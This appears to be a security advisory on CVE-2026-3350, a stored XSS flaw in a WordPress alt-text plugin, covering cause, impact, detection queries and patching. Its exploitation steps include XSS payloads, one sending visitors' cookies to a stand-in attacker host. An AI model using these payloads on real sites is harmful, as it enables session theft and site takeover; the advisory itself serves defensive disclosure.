CVE-2026-3350: 
WordPress vulnerability analysis and mitigation

CVE-2026-3350 is a Stored Cross-Site Scripting (XSS) vulnerability in the Image Alt Text Manager plugin for WordPress (also known as "Alt Manager"). It affects all versions up to and including 1.8.2 and arises from insufficient input sanitization and output escaping when dynamically generating image alt and title attributes via a DOM parser using post titles. Authenticated attackers with Author-level access or above can inject arbitrary JavaScript that executes in the browsers of users visiting affected pages. The vulnerability was published on March 21, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Feedly).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin uses a DOM parser to dynamically populate image alt and title HTML attributes from WordPress post titles, but fails to properly sanitize or escape user-controlled input before rendering it in page output. Specifically, the vulnerable logic is present in inc/alm-empty-generator.php at lines 150 and 295 of version 1.8.2. An attacker with at least Author-level WordPress credentials can craft a post title containing a malicious JavaScript payload; when the plugin processes this title to generate image attributes, the unsanitized script is embedded into the page HTML and executes in any visitor's browser (Wordfence, WordPress Plugin Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session when they visit a page containing the injected content. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or further attacks against site visitors including administrators. While availability is not directly impacted, a compromised admin session could enable full site takeover. The scope change (S:C in CVSS) reflects that the injected script crosses from the attacker's post context into the broader site visitor's browser environment (Wordfence, Feedly).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3350 as of the time of writing. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities, though many WordPress sites permit author-level registration (Wordfence, Feedly).

1. Gain Author-level access: Register or compromise an account with at least Author-level privileges on the target WordPress site running Image Alt Text Manager ≤ 1.8.2.
2. Create or edit a post: Navigate to the WordPress post editor and create a new post (or edit an existing one accessible to the attacker).
3. Inject XSS payload in post title: Set the post title to a malicious JavaScript payload, for example: <img src=x onerror=alert(document.cookie)> or a more targeted payload such as "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>.
4. Publish the post: Save and publish the post so the plugin processes the title through its DOM parser to generate image alt and title attributes.
5. Trigger execution: When any site visitor (including administrators) loads a page where the plugin has rendered image attributes derived from the malicious post title, the injected script executes in their browser context, potentially exfiltrating session cookies or performing actions on their behalf (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing requests to pages containing posts authored by low-privilege accounts with unusual or encoded characters in post titles; error logs referencing DOM parser activity in alm-empty-generator.php.
• File System: Unexpected modifications to plugin files in wp-content/plugins/alt-manager/, particularly inc/alm-empty-generator.php.
• Database: WordPress wp_posts table entries with post titles containing HTML tags, JavaScript URIs (javascript:), or event handler attributes (onerror=, onload=, onfocus=) — query: SELECT ID, post_title FROM wp_posts WHERE post_title REGEXP '<[^>]+>'.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages with plugin-generated image attributes; browser console errors related to script execution on image attribute rendering.

The plugin maintainer released a patch in the changeset updating from version 1.8.2 — administrators should update the Image Alt Text Manager plugin to the version released after 1.8.2 via the WordPress plugin repository. As an interim workaround, site administrators can deactivate or uninstall the plugin until a patched version is applied. Additionally, restricting Author-level registration and enforcing the principle of least privilege for WordPress user roles reduces the attack surface (Wordfence, WordPress Plugin Trac Changeset).